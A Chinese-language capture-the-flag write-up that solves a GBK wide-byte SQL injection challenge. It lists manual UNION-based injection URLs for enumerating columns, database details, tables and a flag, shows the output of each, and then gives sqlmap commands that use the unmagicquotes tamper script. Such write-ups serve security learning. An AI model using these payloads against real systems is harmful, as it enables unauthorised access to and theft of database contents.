進入題目后先簡單嘗試一下。

很明顯的寬字節注入。
寬字節注入就是用一個大於128的十六進制數來吃掉轉義符\,gbk編碼,字節作為一個字符的編碼.
手工注入
1、判斷列數:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
order by 3 時報錯,說明只有兩列。
2、各類信息:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
sae-chinalover@123.125.23.212 : sae-chinalover : 5.5.52-0ubuntu0.14.04.1
3、庫名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
sae-chinalover
4、表名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,group_concat(table_name)
from information_schema.tables
where table_schema=database()%23
ctf,ctf2,ctf3,ctf4,news
5、ctf4表的列名:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,group_concat(column_name)
from information_schema.columns
where table_name=0x63746634%23
id,flag
這里注意:要將表名ctf4轉為16進制
這里提供一個字符串轉16進制的網站:
http://www.5ixuexiwang.com/str/hex.php
轉了16進制之后記得在前面加上0x
6、flag列的數據:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
union select 2,(select flag from ctf4)%23
flag{this_is_sqli_flag}
sqlmap跑法
1、查看有哪些庫:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
這個時侯就要用到一個腳本了:
腳本名:unmagicquotes.py
作用:寬字符繞過

2、表名:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

3、列名:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

4、flag列的數據:
sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

